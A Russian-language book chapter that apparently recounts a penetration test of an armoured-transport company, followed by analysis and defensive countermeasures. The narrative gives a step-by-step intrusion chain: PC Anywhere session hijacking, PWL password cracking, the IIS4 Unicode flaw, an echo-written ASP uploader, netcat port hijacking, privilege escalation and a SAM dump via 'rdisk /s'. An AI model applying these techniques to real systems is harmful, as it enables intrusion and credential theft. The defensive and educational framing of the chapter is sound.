Все, до чего додумалась в ту ночь эта парочка, оказалось очень близко к реальности. Луис говорит об этом, как об особом роде хаке-рской интуиции.
«Трудно объяснить, как ты начинаешь это ощущать. Это опыт, это приходит в результате долгого изучения того, как создаются подобные системы.
На самой ранней стадии Брок почувствовал, что надо продолжать этим заниматься, так как мы сможем достичь результата именно этим путем; это трудно объяснить. Интуиция хакера?
Вначале вы видите лишь клочки информации и то, как устроены те или иные вещи, но постепенно у вас где-то внутри начинает зарождаться понимание всей структуры компании и мировоззрения людей, ответственных за организацию ИТ-системы. Начинаешь постигать, что они знают о безопасности, и что они для нее делают».
Я считаю, что хакеры достигают какого-то уровня понимания того, как сконфигурированы сети и системы, просто внимательно наблюдая за всем происходящим. За тем, как действуют системные администраторы, как они думают. Это как в шахматах, когда вы стараетесь просчитать, перехитрить своего оппонента.
Итак, суть здесь заключается в глубоком понимании того, как обычно мыслят и действуют сетевые администраторы, какие типичные ошибки они делают. Может, прав Луис, который считает: то, что некоторые люди называют интуицией, лучше назвать опытом.
  ДЕНЬ   ЧЕТВЕРТЫЙ
Следующее утро началось с проверок записей на устройстве 3Com, в ожидании тех, кто попытается осуществить соединение. Как только соединение происходило, они старались как можно быстрее определить IP-адрес входящего соединения.
Они обнаружили, что подобные соединения длились минуту или около того, а потом прерывались. Если их предположение было верным, это означало, что курьер соединялся через dial-up, получал рабочее задание и прерывал соединение. Это означало, что им надо было действовать максимально быстро. «Когда мы видели, что появился новый IP-адрес, то дрожащими руками старались схватить его», — так образно Луис описывает свои ощущения. Адреналин буквально переполнял их в этот момент, как будто они играли в увлекательную компьютерную игру.
Так они выявили несколько портов для услуг, которые могли быть уязвимы, надеясь найти тот, который они смогли бы атаковать, например, telnet или ftp-сервер, или Интернет-сервер с недостаточным уровнем безопасности. К тому же, они надеялись получить доступ к открытым общедоступным директориям через NetBIOS. Они изучали также и такие программы на основе удаленного терминала GUI, как WinVNC или PC Anywhere.
По мере того, как занимался день, они увидели, как на некоторых узлах заработали определенные сервисы.
«Мы никуда не проникали, мы просто сидели и активно сканировали все, когда появлялось соединение с удаленным пользователем. И когда произошло очередное соединение, мы провели очередное сканирование и нашли открытый порт, используемый для PC Anywhere».
Приложение PC Anywhere позволяет получить удаленный контроль над компьютером. Однако, это можно сделать только в том случае, когда другой компьютер тоже выполняет какую-то программу.
«Видя этот порт во время сканирования, мы испытали очередной прилив энтузиазма: «О, на этой машине работает PC Anywhere. Это, наверное, один из компьютеров пользователей, давайте попробуем с ним разобраться.
Мы как будто кричали в пространство: «У кого установлен PC Anywhere?». Кто-то кричал нам в ответ: «Это мы». Поэтому я прокричал IP-адрес, так, чтобы он мог соединиться с системой как можно быстрее».
Луис называет попытку соединения с системой PC Anywhere «очень важным моментом». Он присоединился к другому парню, — пользователю, при помощи окна, появившегося на экране. «Вначале там был просто темный фон, — рассказывает Луис, — а затем происходила одна из двух вещей — либо быстро появлялся серый пароль, или же фон становился голубым, и на сцену выходила система Windows desktop».
«Именно ответа в варианте desktop мы ждали, затаив дыхание. Мгновения казались вечностью, пока мы ожидали, что черный экран исчезнет. Я думал про себя: „Соединяйся, соединяйся, время кончается“. И еще: „я хочу получить пароль“.
Как раз в последнюю секунду, когда я подумал: «ну, сейчас появится пароль» — появился Windows desktop! Ура! Мы, наконец, получили вожделенный desktop. Все, кто был в комнате, могли подойти и посмотреть. Моей первой реакцией было: «У нас опять появился шанс, нельзя его упустить!»
Итак, им опять повезло, они «поймали» клиента, который соединился с устройством 3Com.
«В этот момент мы подумали, как говорится: „либо пан, либо пропал“ —мы знали, что эти люди соединяются лишь на короткое время и понимали, что у нас может просто не быть другой возможности».
Первое, что надо делать при появлении сессии PC Anywhere, это нажимать две клавиши на экране. Луис называет их так: «Кнопка очистки экрана» и «Кнопка для фиксации клавиш консоли». Он объясняет:
«Когда вы используете PC Anywhere, по умолчанию оба пользователя —на компьютере и тот, кто использует PC Anywhere — имеют доступ к мышке и могут двигать ей по экрану, чтобы запускать приложения или открывать файлы и т.п. Но при помощи PC Anywhere вы можете заблокировать клавиатуру для другого пользователя».
Они сделали это и получили контроль над сессией, убедившись, что пользователь не может видеть, что они делают, поскольку они обнулили его экран. Луис понимал, что довольно скоро у пользователя возникнут какие-то подозрения или он решит, что у него определенные проблемы и отключит компьютер, поэтому времени у них было совсем мало.
«Мы пытались использовать этот шанс и получить доступ внутрь системы. Надо было быстро решить, что мы хотим предпринять, и какую ценную информацию можно извлечь из этого компьютера.
Я заметил, что на компьютере была установлена ОС Microsoft Windows 98 и нам надо найти кого-то, кто посоветует, какую информацию можно извлечь из такого компьютера.
К счастью один из ребят, находившихся рядом с нами, не был полностью погружен в свои занятия и знал, как извлечь информацию из такой системы».
Он предложил посмотреть на файл со списком паролей (PWL). (Это файл, используемый в системах Windows 95, 98 и ME, содержит важную информацию, такую, например, как пароли для dial-up и сетевые пароли. Например, если вы используете вход в сеть dial-up под Windows, все детали авторизации, включая номер телефона dial-up, имя пользователя и логин содержатся именно в этом файле).
Перед тем, как загрузить к себе этот файл, они должны были отключить все антивирусные программы, чтобы те не обнаружили средств, которые они использовали. Затем они попытались использовать возможности передачи файлов в PC Anywhere, чтобы передать PWL-файл из компьютера, которым пользовался курьер в данный момент, на свой компьютер. Это не сработало. «Мы не понимали почему, но у нас не было времени сидеть и обсуждать это. Мы должны были извлечь PWL-информацию из того компьютера немедленно, пока курьер еще не прервал соединения».
Что еще они могли сделать? Одна из возможностей: загрузить туда программу для взлома паролей, взломать PWL-файл на компьютере курьера и извлечь информацию в текстовый файл, который потом переслать себе. У них уже было имя пользователя и пароль, которыми пользовался курьер. Но они вовремя осознали проблему: клавиатура на компьютере курьера была на иностранном языке — вот что было причиной их неудачи с авторизацией. « М ы продолжали получать сигнал „Имя неправильное“, потому что клавиши клавиатуры там означали другие буквы». А время бежало…
«Мы чувствовали, что время уходит. Парень, сидящий в грузовике, мог перевозить кучу денег, или, к примеру, заключенных. Он вполне мог задать себе вопрос: „Что за чертовщина здесь происходит?“ В таком случае, он отключился бы еще до того, как мы получили то, что нам было нужно».
Да, время сейчас играло не в их пользу, и никто из их коллег в той же комнате не мог помочь разрешить проблему с иностранной клавиатурой. Может быть, в более спокойной обстановке они смогли бы ввести имя пользователя и пароль, используя коды ASCII вместо настоящих букв и цифр. Но в данный момент никто не мог посоветовать им, как это сделать.
Что же делать сегодня человеку, если ему очень быстро нужно пол у ч и т ь ответ на вопрос? Именно это и сделали Луис и Брок: « М ы быстро вошли в Интернет и стали искать способы ввода букв без использования клавиатуры».
Достаточно быстро они нашли ответ: надо нажать ключ «Num Lock», затем нажать и держать ключ < A L T > , а потом набирать численные значения ASCII-символов на цифровой части клавиатуры. Остальное — просто.
«Нам часто приходится переводить буквы и символы в ASCII-коды и наоборот. Надо просто встать и посмотреть в одну из полезных таблиц, которые развешаны у нас по всем стенам».
Вместо полуголых девиц у этих ребят на стенах висели таблицы перевода символов из одной систему в другую. «ASCII-красотки», — говорит Луис.
С помощью приятелей, которые подсказывали, какую последовательность цифр надо набирать, они успешно ввели в компьютер имя пользователя и пароль. После этого они смогли передать программу для взлома PWL и запустить ее, чтобы извлечь информацию из P W L —файла в текстовый файл, который затем переслать из ноутбука водителя на FTP-сервер, находящийся под их контролем.
Когда Луис просмотрел этот файл, он нашел там необходимые для авторизации данные, которые искал, включая номер телефона для dial-up соединения и те имя и пароль, которые водитель использовал для соединения с VPN-сетью компании. Луис подумал, что это вся информация, которая ему нужна.
Проверяя, не оставил ли он следов своего пребывания в ноутбуке водителя, Луис просмотрел все «иконки» на рабочем столе компьютера и обратил внимание на одну, которая выглядела как приложение, с помощью которого курьеры-охранники могли получать информацию из компании. Теперь они знали, что водители соединялись через компанию с сервером приложений, чтобы получить необходимую им информацию.
  ДОСТУП   В   СИСТЕМУ   КОМПАНИИ
«Мы подозревали, — вспоминает Луис, — что этот пользователь вполне мог заметить странную активность в своем компьютере, поэтому мы оттуда ушли. Если бы об этом инциденте был сделан специальный доклад, то VPN-сервис был бы просто отключен. и наше знание параметров, необходимых для входа в него, обесценилось».
Через несколько секунд они заметили, что соединение с PC Anywhere прервалось — водитель отсоединился. Луис и его помощники извлекли нужную им информацию из PWL-файла как раз вовремя.
Теперь у Луиса и Брока был номер телефона, принадлежащий dial-up устройству, одному из тех, что они рисовали вчера вечером в баре. Это был опять иностранный номер. Используя ту же систему Windows, что использовал и охранник, они набрали этот номер, ввели имя пользователя и пароль и «обнаружили, что мы успешно установили VPN-соединение».
Из того, как был сконфигурирован VPN, они получили IP-адрес в D M Z компании, так что оказались за первым межсетевым экраном, но перед ними еще был второй межсетевой экран, защищающий внутреннюю сеть, что они поняли еще раньше.
IP-адрес, п р и п и с а н н ы й V P N , находился в пределах D M Z , поэтому некоторые компьютеры внутренней сети ему вполне доверяли, Луис думал, что проникнуть во внутреннюю сеть будет намного легче, поскольку они уже проникли за первый межсетевой экран. «В этот момент, — говорит он, — мы думали, что пробраться через внутренний межсетевой экран во внутреннюю сеть будет легко». Но когда он попробовал сделать это, то обнаружил, что не может добраться до исполняемого сервиса на компьютере, где был установлен сервер приложений. «Это был очень странный TCP-порт, который был доступен и через фильтры, и мы думали, что он используется для приложений, которыми пользуются водители. Но мы не знали, как он работает».
Луис стремился отыскать во внутренней сети компании систему, в которую он мог бы проникнуть, используя ее IP-адрес. Он работал по обычной хакерской схеме — пытался найти систему, которую он мог бы использовать во внутренней сети.
Они надеялись найти во внутренней сети компании такую систему, в которую никто не входил бы с удаленного терминала, и в ней легко было бы обнаружить лазейки, просто потому, что она считалась бы системой «только для внутреннего пользования». Они воспользовались сканированием портов в поисках любого доступного Интернет-сервера (порт 80) во всем диапазоне IP-адресов внутренней сети и обнаружили сервер под Windows, с которым они смогли соединиться и на котором работал IIS (Internet Information Server), но достаточно старая версия этой популярной программы IIS4. Это была очень радостная новость, поскольку они наверняка могли найти в нем незакрытую лазейку или ошибку в конфигурации, которая дала бы им «ключи к замку».
Первое, что они сделали, это запустили специальную программу для поиска лазеек Unicode в IIS4, чтобы проверить, насколько он уязвим, и нашли такие лазейки, (Unicode — это набор 16-битных слов для кодировки слов из многих разных языков с использованием одного набора знаков). «Итак, мы могли использовать Unicode для выполнения команд на этом IIS-сервере», — воспользоваться уязвимостью системы безопасности, пройти фильтрование во втором межсетевом экране в их внутренней сети «уже глубоко на их территории», рассказывает Луис. Хакеры в этом случае усиливали Интернет-запрос (HTTP) с помощью специально закодированных символов, чтобы пройти проверки безопасности на Интернет-сервере. Это позволяло им выполнять произвольные команды с привилегиями того пользователя, который в данный момент работал на Интернет-сервере.
Немного подумав, ребята, наконец, нашли возможность загружать файлы. С помощью Unicode они использовали echo-команды для загрузки текста ASP (Active Server Pages) — простого загрузчика файлов, который упростил передачу хакерских программ в корневую Интернет-директорию, из которой можно было запускать программы на сервере. (Корневая Интернет-директория — это корневая директория на Интернет-сервере, в отличие от обычной корневой директории на диске — С:\). Echo-команда просто пишет аргументы, которые ей передаются; выход может быть направлен в сайт, а не на экран пользователя. Например, если напечатать «echo owned > mit-nick.txt» запишет слово «owned» в файл mitnick.txt. Они использовали целую серию echo-команд, чтобы записать текст кодов ASP в исполняемую директорию на Интернет-сервере.
Затем они загрузили туда и другие хакерские средства, среди которых было популярное сетевое средство netcat, которое очень полезно для установки специальных команд прослушивания входящего порта. Они загрузили туда и приложение под названием НК, которое использует лазейку в старой версии Windows NT, которая позволяет получить привилегии администратора.
Они загрузили еще одну простую программу для запуска приложения НК, а затем использовали netcat, чтобы открыть соединение обратно к себе, что дало им возможность вводить команды на компьютер-мишень, типа того, как это было во времена операционной системы DOS. « М ы пытались инициировать исходящее соединение с внутреннего Интернет-сервера на наш компьютер в DMS». — объясняет Луис. «Но это не сработало, поэтому нам пришлось использовать технику под названием „цепляние к порту“. После выполнения программы НК для получения привилегий, они сконфигурировали netcat на прослушивание порта 80: чтобы „перенести“ IIS-сервер временно со своего пути, наблюдая за первым входящим соединением на порт 80.
Луис поясняет технологию «цепляния» так: « В ы временно убираете IIS с его места действия, как бы перехватывая управление уровнем, позволяя IIS работать на втором плане, вы сохраняете доступ к вашему уровню». В системах Windows в отличие от операционных UNIX-систем разрешается одновременно двум программам использовать один и тот же порт. Атакующий может использовать эту возможность, если найдет порт, который не фильтруется межсетевым экраном, а потом «прицепится» к этому порту.
Именно это и проделали Луис и Брок. Доступ, который у них уже был к узлу IIS, был ограничен правами, которые давал им пользователь, под именем которого работал сервер. Поэтому они запустили НК и netcat и смогли получить полные привилегии контроля над системой — работая, как пользователь системы, что является самой высокой привилегией в операционной системе. При помощи стандартных методик этот доступ позволил бы им получить полный контроль над всей Windows-активностью мишени.
На сервере работала система Windows NT 4.0. Атакующие хотели скопировать SAM-файл (Security Accounts Manager — управление безопасностью директорий), в котором содержались все детали о директориях пользователей, группах, политиках и контролях доступа. В этой старой версии операционной системы они запустили команду «rdisk/s», чтобы провести аварийную замену диска. Эта программа начинает с того, что создает несколько файлов в директории «repair». Среди этих файлов есть обновленная версия SAM-файла, которая содержит «нарезку» паролей для всех пользователей сервера. Еще раньше Луис и Брок раскрыли файл PWL, где содержались все важные пароли из ноутбука охранника: теперь они получили в свои руки зашифрованные пароли всех пользователей на одном из серверов компании. Они просто скопировали этот SAM-файл в корневую директорию Интернет-сервера. «Затем, используя Интернет-браузер, мы извлекли его с сервера на компьютер в нашем офисе».
Когда они взломали пароли из SAM-файла, то обнаружили, что там есть еще один пользователь-администратор на местном компьютере, отличный от администратора встроенной директории.
«После нескольких часов работы мы смогли взломать пароль этого пользователя, а затем попытались авторизоваться в первичном контроллере домена. И мы обнаружили, что этот пользователь с правами администратора на Интернет-сервере, взломанном нами, имел точно такой же пароль и в домене! И здесь он тоже имел права администратора.
Итак, на Интернет-сервере был пользователь с правами администратора, который имел такое же имя, как и администратор домена, и пароль в обоих с л у ч а я х был один и т о т же. Э т о т администратор был невероятно ленив, если для своей директории на другом сервере повторно использовал то же самое имя и пароль».
Дело постепенно продвигалось, хоть и небольшими шажками. Администратор на Интернет-сервере не имел таких привилегий на весь домен. Но, получив его пароль на Интернет-сервере, благодаря его лени мы смогли проникнуть в директорию администратора домена. Администратор домена администрирует или управляет всем доменом в отличие от администратора вашего локального компьютера, который управляет только им. В данном случае Луис не был исключением.
«Надо сказать, что это обычная практика, с которой мы часто встречаемся. Администратор домена создает свою директорию на всех машинах сотрудников сети и использует для них тот же пароль. И это означает, что сведения из каждого локального компьютера могут быть использованы для взлома системы безопасности всего домена».
  ЦЕЛЬ   ДОСТИГНУТА
Шаг за шагом — все ближе к цели. Луис и Брок обнаружили, что не могут получить полный контроль над сервером приложений и данными, которые на нем хранятся. Они проверяли IP-адрес компьютера, который они нашли на ноутбуке водителя (или охранника), и сервер приложений, с которым он был связан. После этого они пришли к выводу, что сервер приложений расположен в том же домене. Наконец, они получили полный контроль над всеми действиями компании. «Наконец, мы добрались до самого сердца бизнеса компании, Мы могли изменить все команды на сервере приложений, то есть могли дать указание водителям доставить деньги туда, куда нам было надо. Мы могли дать водителям такую команду: „Возьмите деньги из этой кассы и доставьте по этому адресу“ и ждать по указанному адресу, когда они доставят нам деньги».
Или: «Возьмите заключенного А, доставьте в определенное место и передайте тем, кто его там будет ждать» — и вы извлекаете из тюрьмы своего приятеля или беспутного брата.
Или террориста…
Они получили в свои руки средство для обогащения или создания хаоса. « М ы испытали определенный шок, поскольку они просто не представляли себе размеры ущерба, который мы могли им нанести», — говорит Луис.
То, что компания считала безопасностью, оказалось только призраком безопасности.
  АНАЛИЗ
Луис и Брок не разбогатели благодаря той мощи, которую получили в свои руки и не стали рассылать приказы по освобождению или пересылке заключенных. Вместо этого они предоставили компании полный отчет о том, что им удалось обнаружить.
Услышав обо всем этом, компания отреагировала достаточно вяло. Они не стали проводить анализ рисков шаг за шагом: «Если хакеры проникли в первый компьютер, что они могли сделать дальше?» и так далее. Они опять посчитали себя в безопасности, закрыв несколько лазеек, на которые указал им Луис. Они считали, что кроме тех, которые нашли Луис и Брок, других просто не существует.
Луис считает, что подобная надменность и самоуверенность типичны для крупного бизнеса. Еще бы — какие-то пришельцы дают им рекомендации по поводу их безопасности. Их раздражает, когда им дают рекомендации, что они должны делать, и особенно те, кто дает им эти рекомендации. Они уверены, что все уже знают. Когда появляется брешь, они заделывают ее и считают, что она была единственной.
  КОНТРМЕРЫ
Также как и в других историях, рассказанных в этой книге, атакующие не нашли большого количества лазеек в атакуемой компании, но даже тех немногих, что они нашли, было вполне достаточно, чтобы завладеть всем доменом компьютерной системы компании, который имеет огромное значение для бизнеса. О некоторых полезных уроках стоит сказать отдельно.
  ВРЕМЕННЫЕ   МЕРЫ
Не так давно устройства компании 3Com соединялись с последовательным портом маршрутизатора Cisco.
Под давлением необходимости быстрого реагирования на ситуацию компании требуется предпринимать «временные» меры, но их ни в коем случае нельзя сделать «постоянными». Надо сразу же установить режим физической и логической проверки всех шлюзов, использовать те средства безопасности, которые постоянно контролируют открытые порты, в узлах или устройствах в соответствии с политикой безопасности компании.
  ИСПОЛЬЗОВАНИЕ   ВЫСОКИХ   ПОРТОВ
Компания сконфигурировала маршрутизатор Cisco так, чтобы разрешить удаленные соединения на порту с большими номерами, предполагая, что эти порты достаточно неопределенные области и они не могут привлечь внимания атакующих — это еще один пример «безопасности через неясность».
Мы уже не один раз обсуждали эту тему на страницах книги, когда решения по обеспечению безопасности основываются на таком подходе. Истории в этой книге снова и снова демонстрируют, что если у вас есть хотя бы одна-единственная щель в системе безопасности, кто-то из атакующих рано или поздно отыщет ее. Самая лучшая стратегия при обеспечении безопасности — убедиться в том, что все точки доступа и устройства (прозрачные или нет) проходят фильтрацию, если доступ к ним происходит извне.
  ПАРОЛИ
В тысячный раз повторяем: все изначально установленные пароли должны быть изменены перед тем, как допускать устройство или систему к эксплуатации. Даже если технический персонал знает об этой проблеме, и знает, как ее устранять. Не забывайте о том, что в Интернете есть такие сайты, как  http://www.phenoelit.de/dpl/dpl.html  например, где приведены все изначальные имена пользователей и пароли.
  БЕЗОПАСНОСТЬ   ЛИЧНЫХ   НОУТБУКОВ
Ситуация, когда устройство, которое используют удаленные работники компании, соединяется с корпоративной сетью с недостаточным уровнем безопасности или же совсем без нее, очень распространена. У одного из пользователей стояло приложение PC Anywhere, позволяющее устанавливать удаленное соединение даже безо всякого пароля. Хотя компьютер и был соединен с Интернетом через dial-up, причем только на очень короткие периоды времени, каждое из таких соединений открывало окно для возможных проникновений. Атакующие смогли удаленным образом управлять компьютером, соединяясь с ноутбуком, на котором работало приложение PC Anywhere. И поскольку оно было сконфигурировано так, что даже не требовало пароля, атакующие могли проникнуть в компьютер пользователя, просто зная его IP-адрес.
ИТ-политики компании должны устанавливать такие требования к системам клиентов, чтобы у них был определенный уровень безопасности перед тем, как им будет позволено соединиться с корпоративной сетью. Есть специальные программы, которые устанавливаются на компьютеры клиентов и обеспечивают контроль их безопасности и их соответствие политике компании: в ином случае компьютеру клиента не разрешается доступ к корпоративным компьютерным ресурсам. «Плохие парни» обычно анализируют свою мишень, изучая ситуацию в целом. Они проверяют, соединен ли какой-нибудь пользователь удаленно, и если да, то где источник этого соединения. Атакующий знает, что если ему удастся проникнуть в один из таких «надежных» компьютеров, используемых для доступа в корпоративную сеть, очень вероятно, что ему удастся и дальше получать доступ к корпоративным информационным ресурсам.
Даже когда в компании о безопасности думают вполне серьезно, очень часто проблема защиты ноутбуков и домашних компьютеров, используемых сотрудниками для доступа к корпоративной сети, недооценивается, они остаются открытыми для атаки, и атакующие могут использовать этот недосмотр, как и произошло в этой истории. Ноутбуки и домашние компьютеры, которые соединяются с внутренней сетью, должны быть полностью безопасны — иначе компьютер сотрудника может стать слабым звеном, которое как раз и используют «плохие парни».
  АВТОРИЗАЦИЯ
Атакующие в этом случае смогли извлечь информацию для авторизации из компьютера клиента, не будучи обнаруженными. Как уже не раз отмечалось в предыдущих главах, более продуманная система авторизации может остановить большинство атакующих, и компании должны использовать динамические пароли, смарт-карты, токены или цифровые сертификаты, как средства авторизации для удаленного доступа в VPN или другие важные системы.
  ФИЛЬТРАЦИЯ   НЕ   ПЕРВОСТЕПЕННЫХ   С  Е  Р  В  И  С  О  В
ИТ-персонал компании обязан разработать определенный набор фильтров для управления и входящими и исходящими соединениями серверов и хостов с такой ненадежной сетью, как Интернет, так же, как и для сетей (DMZ) внутри компании.
  УКРЕПЛЕНИЕ
Эта история содержит и напоминание для ИТ-персонала, что не заботиться об укреплении компьютерных систем, связанных с внутренней сетью или не вовремя использовать «заплатки» для систем безопасности — это очень большой риск. Именно такой стиль поведения дает «плохим парням» преимущество. После того, как атакующий найдет путь доступа хотя бы к одной недостаточно защищенной системе и сможет проникнуть в нее, открывается дверь для незаконного доступа в другие системы, которые доверяют атакованному компьютеру. Далее, просто полагаться на межсетевой экран периметра, чтобы не пускать хакеров в сеть, и не заботиться об укреплении систем, связанных с корпоративной сетью, аналогично тому, как если бы вы сложили все свои деньги на обеденный стол посредине квартиры и думали бы, что они в безопасности, поскольку входная дверь заперта.
  ПОСЛЕСЛОВИЕ
Поскольку это последняя из историй, рассказывающих о технических атаках, уместно сказать несколько слов в заключение.
Если бы вас попросили назвать важные шаги для того, чтобы перекрыть большинство лазеек, которые позволяют атакующим получить доступ в систему, какие бы вы перечислили, прочитав эту книгу?
Подумайте об этом несколько минут, а потом — переходите к следующей странице.
Я не знаю, что лучше всего запомнилось вам из наиболее вероятных ошибок системных администраторов, описанных в этой книге. Но думаю, несложно выучить хотя бы часть этого списка:
• наладьте процесс управления заплатками в системе безопасности, чтобы они использовались вовремя;
• для удаленного доступа и доступа к важной информации или компьютерным ресурсам используйте более сильные методы авторизации, чем просто пароли;
• смените все изначально установленные пароли;
• используйте модель глубоко эшелонированной обороны, так, чтобы прорыв в одном месте не угрожал безопасности всей системы, и постоянно проверяйте все элементы обороны;
• выработайте корпоративную политику безопасности для фильтрации как входящего, так и исходящего трафика;
• укрепите все клиентские системы, которые имеют доступ к важной информации или вычислительным ресурсам. Не забывайте, что опытный хакер в качестве мишеней часто выбирает клиентские системы, чтобы проникнуть в их соединение или из проверенного компьютера связываться с корпоративной сетью;
• используйте устройства для выявления вторжения, чтобы идентифицировать подозрительный трафик или попытки использовать известные лазейки — такие системы могут с равным успехом выявить как недобросовестного сотрудника самой компании, так и атакующего, которому уже удалось проникнуть за внешний периметр безопасности; • постоянно проверяйте работу операционной системы и важнейших приложений, обеспечьте создание записей о работе хостов, где нет большого числа работающих приложений и минимальное число пользователей.